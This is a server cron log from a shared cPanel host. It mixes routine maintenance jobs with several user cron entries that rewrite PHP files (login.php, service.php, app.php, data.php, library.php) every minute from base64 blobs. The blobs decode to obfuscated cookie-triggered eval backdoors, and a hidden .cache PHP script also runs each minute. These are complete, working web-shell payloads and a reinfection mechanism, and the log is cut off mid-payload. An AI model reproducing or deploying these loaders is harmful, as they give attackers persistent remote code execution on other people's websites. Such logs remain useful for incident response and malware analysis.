Mar  2 14:48:01 medusa CROND[30110]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:48:01 medusa CROND[30109]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:48:01 medusa CROND[30108]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:48:01 medusa CROND[30115]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:49:01 medusa CROND[20414]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:49:02 medusa CROND[20628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:49:02 medusa CROND[20629]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:49:02 medusa CROND[20630]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:49:02 medusa CROND[20632]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:49:02 medusa CROND[20633]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:49:02 medusa CROND[20631]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:49:02 medusa CROND[20634]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:49:02 medusa CROND[20635]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:49:02 medusa CROND[20637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:49:02 medusa CROND[20643]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:49:02 medusa CROND[20644]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:50:01 medusa CROND[4699]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:50:01 medusa CROND[4714]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:50:01 medusa CROND[4837]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:50:01 medusa CROND[4987]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:50:02 medusa CROND[5101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:50:02 medusa CROND[5107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:50:02 medusa CROND[5109]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:50:02 medusa CROND[5108]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 14:50:02 medusa CROND[5117]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 14:50:02 medusa CROND[5118]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:50:02 medusa CROND[5122]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 14:50:02 medusa CROND[5125]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:50:02 medusa CROND[5124]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 14:50:02 medusa CROND[5126]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:50:02 medusa CROND[5129]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:50:02 medusa CROND[5132]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:50:02 medusa CROND[5127]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:50:02 medusa CROND[5110]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 14:50:02 medusa CROND[5130]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 14:50:02 medusa CROND[5142]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:50:02 medusa CROND[5146]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkd